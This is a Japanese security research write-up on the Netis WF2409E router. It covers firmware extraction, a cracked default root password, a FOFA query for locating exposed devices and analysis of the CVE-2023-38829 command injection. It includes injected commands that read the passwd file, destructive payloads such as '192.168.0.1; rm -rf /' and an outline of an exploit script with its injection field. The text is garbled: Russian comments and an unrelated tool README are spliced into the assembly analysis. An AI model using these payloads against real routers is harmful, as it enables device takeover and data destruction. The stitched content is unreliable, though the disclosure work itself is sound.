
NETIS WF2409Eルーターに対して実施した完全なハードウェアセキュリティ分析研究。デバイスの分解分析、デバッグインターフェースの識別、ファームウェアの抽出などを通じて、ハードウェア分析の全工程、脆弱性の詳細、および対応するセキュリティアドバイスを記録しました。IoTデバイスのセキュリティ向上に貢献することを願っています。

| カテゴリ | パラメータ | 説明 |
|---|---|---|
| デバイス情報 | モデル | Netis WF2409E |
| タイプ | 300Mbps Wireless N Router | |
| 電源 | DC 9V/500mA | |
| ハードウェアバージョン | V1.8 | |
| PCBバージョン | PB-7189-M02G-20 | |
| 製造日 | 2015-03-23 | |
| 製造国 | 中国 | |
| ネットワーク識別子 | シリアル番号 | 2409EEU5B102714 V1.8 |
| MACアドレス | W8D398DFB68 | |
| デフォルトSSID | netis_BDFB68 | |
| デフォルトパスワード | password | |
| 管理アドレス | http://netis.cc | |
| ハードウェアインターフェース | WANポート | 1 (青 RJ45) |
| LANポート | 4 (黒 RJ45, LAN1-4) | |
| アンテナ | 3 外部アンテナ | |
| 電源コネクタ | DC入力 (PWR) | |
| 機能ボタン | Default | 工場出荷時設定へのリセット |
| WPS | WiFi保護設定 |



| パラメータ | 仕様 |
|---|---|
| プロセッサモデル | RealTek RTL8196E |
| アーキテクチャ | 16-bit |
| クロック周波数 | 380MHz |
| コンパイル日 | 2014.09.29 |
| パラメータ | 説明 |
|---|---|
| ブートローダータイプ | RealTekプロプライエタリブートローダ |
| カーネルロードアドレス | 0x80500000 |
| 実行開始アドレス | 0x80003440 |
| 署名検索範囲 | 0x10000-0x170000 |
| パラメータ | 値 |
|---|---|
| IPアドレス | 192.168.0.1 |
| サブネットマスク | 255.255.255.0 |
| MACアドレス | 04:8d:38:bd:fb:69 |
| 無線インターフェース | wlan0 (va0-va3, vxdを含む) |
| パラメータ | 値 |
|---|---|
| デバイスモデル | netis WF2419E_RU |
| ファームウェアバージョン | V2.5.40200 |
| ファームウェア日付 | 2016.09.02 |
| BusyBoxバージョン | v1.00-pre8 (2015.01.23) |
このデバイスはおそらくU-Bootを使用していないことに注意することが重要です。主な兆候:
---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
ブートローダーコマンド:
<RealTek> FLR 80000000 0 100 #Flashから読み取り DB 80000000 100 #メモリ内容の表示



/dev/mtdblock1 はルートディレクトリ / としてマウントされていますnone はプロセスファイルシステム /proc としてマウントされていますtmpfs は一時ファイルシステム /var としてマウントされていますルートファイルシステムは次のように設定されています:
/dev/mtdblock1これは、MTDフラッシュメモリをストレージメディアとして使用し、システムファイルが読み取り専用とsquashfs圧縮によって保護および容量最適化されていることを示しています。
プロセスファイルシステムは次のように設定されています:
一時ファイルシステムは次のように設定されています:


binwalk -E --save netis.bin


binwalk netis.bin

そして取得:

| オフセット | パーティションヘッダ |
|---|---|
| 0x12F0 | ![]() |
| 0x32818 | ![]() |

etc/passwd:
ハッシュ復号サービス https://hashes.com/en/decrypt/hash を使用して、rootパスワードが realtek として正常に復元されました。

web/welcome.htm:これはデフォルトのWebインターフェースページです

web/welcome.htm の特性を介した FOFA でのデバイス検索:
検索コマンド:
body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"


デバイスの管理パネルにアクセスするには、ログインとパスワードによる認証が必要になる場合があります

認証成功後、管理パネルにログインできます

最初に ~/squashfs-root/web$ find コマンドを使用して利用可能なディレクトリを見つけ、Burpsuit を使用してそれらのアクセス可能性を確認しました:| | Payload | Code | | Lenth |
| ------ | ------------------------------- | ------- | ----- | --------- |
| 1 | /cgi-bin | 200 | | 167 |
| 2 | /cgi-bin/cgitest.cgi | - | ERROR | - |
| 3 | /script | 200 | | 168 |
| 4 | /script/init.js | 200 | | 1282 |
| 5 | /script/logic.js | 200 | | 65677 |
| 6 | /script/menu.js | 200 | | 4976 |
| 7 | /script/netcore.js | 200 | | 151935 |
| 8 | /script/action.js | 200 | | 182624 |
| 9 | /script/debug.js | 200 | | 28570 |
| ==10== | ==/version.txt== | ==200== | | ==206== |
| ==11== | ==/update.htm== | ==200== | | ==1230== |
| 12 | /config | 200 | | 168 |
| 13 | /config/language_es.js | 200 | | 79333 |
| 14 | /config/language_it.js | 200 | | 76802 |
| 15 | /config/language_id.js | 200 | | 74795 |
| 16 | /config/language_du.js | 200 | | 78782 |
| 17 | /config/language_ma.js | 200 | | 73594 |
| 18 | /config/language_po.js | 200 | | 76458 |
| 19 | /config/language_tu.js | 200 | | 77747 |
| 20 | /config/language_fr.js | 200 | | 78165 |
| 21 | /config/language_ro.js | 200 | | 73621 |
| 22 | /config/language_cz.js | 200 | | 75968 |
| 23 | /config/language_ua.js | 200 | | 98335 |
| 24 | /config/language_us.js | 200 | | 84173 |
| 25 | /config/config.js | 200 | | 75899 |
| 26 | /config/language_ru.js | 200 | | 108998 |
| 27 | /config/language_de.js | 200 | | 78674 |
| 28 | /config/language_pt.js | 200 | | 77954 |
| 29 | /config/language_cn.js | 200 | | 62001 |
| 30 | /config/language_tc.js | 200 | | 74268 |
| 31 | /system_log.txt | 404 | | 330 |
| ==32== | ==/index.htm== | ==200== | | ==4336== |
| 33 | /css | 200 | | 167 |
| 34 | /css/style.css | 200 | | 5441 |
| 35 | /css/netcore.css | 200 | | 11536 |
| 36 | /css/welcome.css | 200 | | 6270 |
| 37 | /Config.tgz | 404 | | 326 |
| 38 | /images | 200 | | 168 |
| 39 | /images/first.png | 200 | | 838 |
| 40 | /images/icon_no.gif | 200 | | 240 |
| 41 | /images/top_right_bg.gif | 200 | | 222 |
| 42 | /images/logo_netis.png | 200 | | 7297 |
| 43 | /images/icon_jian.gif | 200 | | 239 |
| 44 | /images/show_pwd.png | 200 | | 1433 |
| 45 | /images/icon_no1.gif | 200 | | 498 |
| 46 | /images/nextt.png | 200 | | 1026 |
| 47 | /images/lastt.png | 200 | | 845 |
| 48 | /images/icon_intro_internet.gif | 200 | | 6994 |
| 49 | /images/help_b1.gif | 200 | | 540 |
| 50 | /images/high.gif | 200 | | 10846 |
| 51 | /images/yandex_en.png | 200 | | 3519 |
| 52 | /images/help_b1.jpg | 200 | | 620 |
| 53 | /images/back.gif | 200 | | 379 |
| 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 |
| 55 | /images/icon_jian1.gif | 200 | | 490 |
| 56 | /images/left_021.jpg | 200 | | 558 |
| 57 | /images/edit.gif | 200 | | 365 |
| 58 | /images/pre.png | 200 | | 1029 |
| 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 |
| 60 | /images/icon_now.gif | 200 | | 242 |
| 61 | /images/top_right_bg.jpg | 200 | | 223 |
| 62 | /images/bg_intro_bottom.png | 200 | | 3562 |
| 63 | /images/favicon.ico | 200 | | 4458 |
| 64 | /images/btn_quick_setup.jpg | 200 | | 4353 |
| 65 | /images/bg_intro_top.png | 200 | | 3605 |
| 66 | /images/mt-link.gif | 200 | | 5823 |
| 67 | /images/link.gif | 200 | | 1045 |
| 68 | /images/del.gif | 200 | | 313 |
| ==69== | ==/images/Makefile== | ==200== | | ==593== |
| 70 | /images/icon_jia1.gif | 200 | | 490 |
| 71 | /images/blue.jpg | 200 | | 2584 |
| 72 | /images/normal.gif | 200 | | 10818 |
| 73 | /images/yandex.png | 200 | | 2159 |
| 74 | /images/bg_leftmenu.gif | 200 | | 686 |
| 75 | /images/icon_jia.gif | 200 | | 252 |
| 76 | /images/icon_now1.gif | 200 | | 487 |
| ==77== | ==/welcome.htm== | ==200== | | ==30155== |
| ==78== | ==/index.html== | ==200== | | ==326== |
| 79 | /help | 200 | | 166 |
| ==80== | ==/backup.htm== | ==200== | | ==1304== |
情報が存在する可能性のある場所:
確認後、ファイル ==/version.txt== で以下の情報を見つけることができます:

この情報の抽出はPythonスクリプトを使用して実装されました:

現在、このデバイスでは以下の脆弱性が発見されています。その中でも CVE-2023-38829 は、NETIS SYSTEMS ルーター WF2409E のネットワークテストモジュールにおける ping および traceroute 機能に存在するコマンドインジェクション脆弱性です。Web管理インターフェースを介して、これらの機能のパラメータに悪意のあるコマンドを注入でき、コマンドの実行に至ります。
この脆弱性の有無を確認するため、ルーターの管理パネルにログインし、ping および traceroute 機能で脆弱性をテストしました。
ここで、cd && ls && cd etc/ && cat passwd というコマンドを注入し、パスワードファイルの内容を出力させました。
以下は、コマンド注入時のルーター管理パネルの出力で、脆弱性の存在を確認しています。

発見されたコマンドインジェクション脆弱性のCVSS 3.1分析:
基本評価指標:
影響指標:


最終スコア: 9.2/10点、カテゴリ「クリティカル」に該当。 CVSSベクトル: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
このような高い脆弱性スコアは以下の理由による:
まず、脆弱性が存在する可能性のあるファイルを見つけます:
find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi
脆弱性はCGIプログラムに現れる可能性があると考え、まずIDA Proを使って./web/cgi-bin/cgitest.cgiを分析してみます。
まず類似の関数呼び出し箇所を見つける必要があります。検索により「killall ping」という文字列が見つかりました。
呼び出し箇所を分析すると、プログラムはpingおよびtraceroute関数の初期化後、/bin/network_test.shを呼び出していることがわかります。

そして、脆弱性が存在する場所はまさにネットワークテストモジュールです。では、/bin/network_test.shを分析する必要があります。
まず検索を実行する必要があります。

関数network_test_shを見つけます:
......

関数を詳細に分析すると、コマンド実行モジュールと結果保存モジュールが見つかります。

それらの中で:
pingコマンドの実行: ping -c %d -s %d %s -W %d > %s &
tracerouteコマンドの実行: traceroute -I -m %d %s > %s &
loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
> *[英語](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/README.md), [ロシア語](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/READMEru.md).*
| **OSファミリー** | **OS** |
|------------------|---------|
| Windows | Windows |
| Linux | Linux |
| macOS | macOS |
## **:telescope: サポートされるOSバージョン**
### Windows
WindowsファミリーのOSバージョンは、`Windows 7` と `Windows Server 2008 R2` 以降が対象です。XP/2003以前のバージョンは公式にはサポートされていません。ただし、このツールはXP 32ビット版と2003 64ビット版でテストされ、安定して動作することが確認されています。
### Linux
loc_420574: la $t9, sprintf #также прямой вызов sprintf lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
* **Запуск через Python** (лучше установить в виртуальное окружение)
```bash
$ git clone https://github.com/cybersader/hacker-curator.git
$ cd hacker-curator
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install -r requirements.txt
$ python main.py
```
* **Запуск с помощью Docker** (рекомендуется)
```bash
$ git clone https://github.com/cybersader/hacker-curator.git
$ docker build -t hacker-curator .
$ docker run -p 5000:5000 hacker-curator
```
* **Запуск через Docker Hub** (самый быстрый способ)
```bash
$ docker run -p 5000:5000 cybersader/hacker-curator
```
- [x] ✔️ **Агент автоматической установки** — автоматическая установка через `apt`, `brew`, `choco`, `pip`, `npm`, `go` и другие менеджеры пакетов
- [x] ✔️ **Интеллектуальная веб-панель** — классификация инструментов с настраиваемыми фильтрами и сортировкой по убыванию полезности
- [x] ✔️ **Библиотека из 100+ инструментов** — постоянно обновляемая коллекция с сетевыми, реверсинжиниринговыми, форензик-инструментами и эксплойтами
- [x] ✔️ **Экспорт в Markdown** — автоматическое создание красиво оформленного отчета об установке инструментов```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

コード内に入力パラメータの十分な検証がなく、コマンドインジェクションの潜在的なリスクがあります。攻撃者は渡されるIPパラメータを制御してシェルコマンドを実行できます。例えば:```
192.168.0.1; rm -rf / #удаление файлов 192.168.0.1 & id & #выполнение произвольных команд
## 11. エクスプロイトスクリプト
### 11.1. スクリプト概要
このスクリプトは、デバイスのWebインターフェースにおけるコマンドインジェクションの脆弱性を利用し、特殊なHTTPリクエストを作成してリモートでコマンドを実行します。スクリプトは2つのHTTP POSTリクエストを使用して脆弱性をエクスプロイトします。最初のリクエストでコマンドを注入し、2番目のリクエストで実行結果を取得します。
最初のパケット(netcore_set.cgi)は以下の目的で使用されます:コマンドの注入と実行

2番目のパケット(netcore_get.cgi)は以下の目的で使用されます:コマンド実行結果の取得

### 11.2 第1段階:コマンドインジェクション
1. 以下の主要パラメータを含むPOSTリクエストボディの作成:```
{ "mode_name": "netcore_set",
"tools_type": "2",
"tools_ip_url": f"| {command}", # точка инъекции команды
"tools_cmd": "1",
"net_tools_set": "1" }
2. netcore_get.cgi へのリクエスト送信
3. 応答内の tools_results フィールドを解析してコマンド実行結果を取得
### 11.4 スクリプトのテスト
スクリプトをテストするために、ホスト上に `ceshi` ファイルを作成し、スクリプト経由でデバイスにアップロードしようとしました

成功!
実際、この脆弱性によりデバイスを完全に制御できるようになります。デフォルトでデバイスは root アクセスを使用しているためです。
| 確認パラメータ | 状態 | 備考 |
|---|
| 電源インジケータ | 正常 | 電源投入時に安定点灯 |
| ネットワークインジケータ | 正常 | 接続時に点滅 |
| WANポート状態 | 正常 | ネットワークへの正常な接続 |
| LANポート状態 | 正常 | 全4ポートが動作 |
| WiFi機能 | 正常 | アンテナ無傷、信号正常 |
| WPS機能 | 正常 | ボタンが反応 |
| リセット機能 | 正常 | Defaultボタンが動作 |
| № | チップモデル | メーカー | 主な機能 | 技術仕様 | 備考 |
|---|
| 1 | EM63A165TS-6G | EtronTech | システムメモリ | - 容量 32Mビット - 周波数 166MHz - アーキテクチャ SDRAM - パッケージ TSOP-II | - 一時データ保存用 - メインプロセッサの計算をサポート |
| 2 | FR9886 61504 | 不明 | 電源管理 | - パッケージ SOIC-8 - 集積回路 | - DC-DC - 電圧調整を担当 - システム安定電源を確保 |
| 3 | RTL8196E | Realtek/RMC | メインプロセッサ | - アーキテクチャ MIPS - SoCデザイン - 台湾で製造 | - システムの中央プロセッサ - 主要計算と管理を担当 - 統合ネットワーク処理 |
| 4 | MX25L3206E | Macronix | Flashメモリ | - 容量 32Mb (4MB) - インターフェース SPI - パッケージ SOIC | - システムファームウェアの保存 - 設定データの保存 |
| 5 | RTL8192ER | Realtek/RMC | 無線通信 | - WiFiコントローラ - パッケージ QFN | - 無線信号の処理 - WiFi機能のサポート |
| パラメータ | 値 | 16進数値 |
|---|
| チップモデル | MX25L3205D | - |
| 総容量 | 4MB | 0x400000 |
| ブロックサイズ | 64KB | 0x10000 |
| セクターサイズ | 4KB | 0x1000 |
| ページサイズ | 256B | 0x100 |
| サービス名 | ステータス | 備考 |
|---|
| DHCPサーバ | 動作中 | 正常 |
| HTTPサーバ (Boa) | 動作中 | 異常な再起動 |
| IAPP | 動作中 | IEEE 802.11f |
| MiniIGD | 動作中 | v1.08.1 |
| mini_upnpd | エラー | ファイルが見つかりません |
| telnetd | エラー | ファイルが見つかりません |
| ota_init.sh | エラー | ファイルが見つかりません |
| コマンド | 構文 | 機能 |
|---|
| HELP | ? | ヘルプを表示 |
| DB/DW | DB/DW <アドレス> <長さ> | メモリをバイト/ワード単位で読み取り |
| EB/EW | EB/EW <アドレス> <値> | メモリにバイト/ワード単位で書き込み |
| FLR | FLR | FlashからRAMにデータを読み取り |
| FLW | FLW <dst_ROM><src_RAM> | RAMからFlashにデータを書き込み |
| IPCONFIG | IPCONFIG <IPアドレス> | IPアドレスの設定 |
| LOADADDR | LOADADDR <アドレス> | ロードアドレスの設定 |
| CMP | CMP | メモリ内のデータを比較 |
| J | J <アドレス> | 実行にジャンプ |
| MDIOR/MDIOW | MDIOR/W [data] | PHYレジスタの読み取り/書き込み |
| PHYR/PHYW | PHYR/W [data] | PHYレジスタの読み取り/書き込み(代替方法) |
| PORT1 | PORT1 | ポート1のパッチテスト |
| AUTOBURN | AUTOBURN 0/1 | 自動書き込みの制御 |
| コマンドタイプ | 利用可能なコマンド |
|---|
| 基本コマンド | ., :, cd, help, exit |
| 実行管理 | break, continue, eval, exec |
| 変数操作 | export, read, readonly, set, shift |
| プロセス管理 | times, trap, wait |
| 権限管理 | login, newgrp, umask |
| カテゴリ | ツール | 機能 |
|---|
| ネットワークツール | iptables ip6tables brctl ifconfig | ファイアウォール設定、IPv6ファイアウォール、ブリッジ管理、ネットワークインターフェース設定 |
| システム管理 | busybox ps kill mount | 基本ツールセット、プロセス表示、プロセス管理、ファイルシステムマウント |
| VPN通信 | pppd pptp l2tpd pptpctrl | PPPデーモン、PPTPクライアント、L2TPデーモン、PPTP管理 |
| 無線通信管理 | iwcontrol iwpriv wlanapp.sh wps_init.sh | 無線通信制御、無線通信プライベートコマンド、無線アプリケーション管理、WPS初期化 |
| ファイアウォールスクリプト | firewall.sh firewall_ipv6.sh firewall_pptp.sh | メインファイアウォール、IPv6ファイアウォール、PPTPファイアウォール |
| DHCP/DNS | dhcpc.sh dhcpd.sh dnrd | DHCPクライアント、DHCPサーバ、DNS転送 |
| Webサービス | boa webs cgitest.cgi | Webサーバ、Web管理、CGIテスト |
| パス | 情報タイプ | 説明 |
|---|
| /proc/cpuinfo | CPU情報 | プロセッサの詳細情報 |
| /proc/meminfo | メモリ情報 | システムメモリ使用状況 |
| /proc/mtd | パーティション情報 | Flashメモリの分割 |
| /proc/net/* | ネットワーク情報 | ネットワークインターフェースと接続の状態 |
| /proc/sys/* | システムパラメータ | 調整可能なシステムパラメータ |
| /proc/version | バージョン情報 | カーネルバージョン情報 |
| コンポーネント | 説明 | 技術仕様 |
|---|
| RTL8196E | メインプロセッサ | - アーキテクチャ MIPS - SoCデザイン - 台湾で製造 - システムの中央プロセッサ - 主要計算と管理を担当 - 内蔵ネットワーク処理機能 |
| EM63A165TS-6G | システムメモリ | - 容量 32Mビット - 周波数 166 MHz - アーキテクチャ SDRAM - パッケージ TSOP-II - システムの一時データ保存 - メインプロセッサの計算をサポート |
| MX25L3206E | フラッシュメモリ | - 容量 32Mビット (4 MB) - インターフェース SPI - パッケージ SOIC - システムファームウェアの保存 - 設定データの保存 |
| RTL8192ER | 無線ネットワーク | - WiFiコントローラ - パッケージ QFN - 無線信号の処理 - WiFiサポート |
| FR9886 61504 | 電源管理 | - パッケージ SOIC-8 - 集積回路 - DC-DC - 電圧調整を担当 - システム安定電源を確保 |
| ファイル | オフセット(10進数) | オフセット(16進数) | 説明 | 追加情報 |
|---|
| netis.bin | 4848 | 0x12F0 | LZMA圧縮データ | 辞書サイズ:8388608バイト、解凍後サイズ:56464バイト;解凍後の内容の分析が必要 |
| netis.bin | 206872 | 0x32818 | LZMA圧縮データ | 辞書サイズ:8388608バイト、解凍後サイズ:3278684バイト;完全なLinux 2.6.30カーネルを含む |
| netis.bin | 1507328 | 0x170000 | SquashFSファイルシステム | リトルエンディアン、gzip圧縮、サイズ:2628241バイト |
| 0x170000 | ![]() |
| Payload | Code | Lenth |
|---|
| ==10== | ==/version.txt== | ==200== | ==206== |
| ==11== | ==/update.htm== | ==200== | ==1230== |
| ==32== | ==/index.htm== | ==200== | ==4336== |
| ==69== | ==/images/Makefile== | ==200== | ==593== |
| ==77== | ==/welcome.htm== | ==200== | ==30155== |
| ==78== | ==/index.html== | ==200== | ==326== |
| ==80== | ==/backup.htm== | ==200== | ==1304== |
| 脆弱性番号 | 脆弱性タイプ | モデル | バージョン | レポート/エクスプロイト |
|---|
| CVE-2023-42336 | sensitive information disclosure | Netis | wf2409e_firmware < 1.0.1.705 wf3409e < v4 | https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
| CVE-2023-38829 | remote code execution | Netis | wf2409e_firmware < 3.6.42541 wf3409e < - | https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E |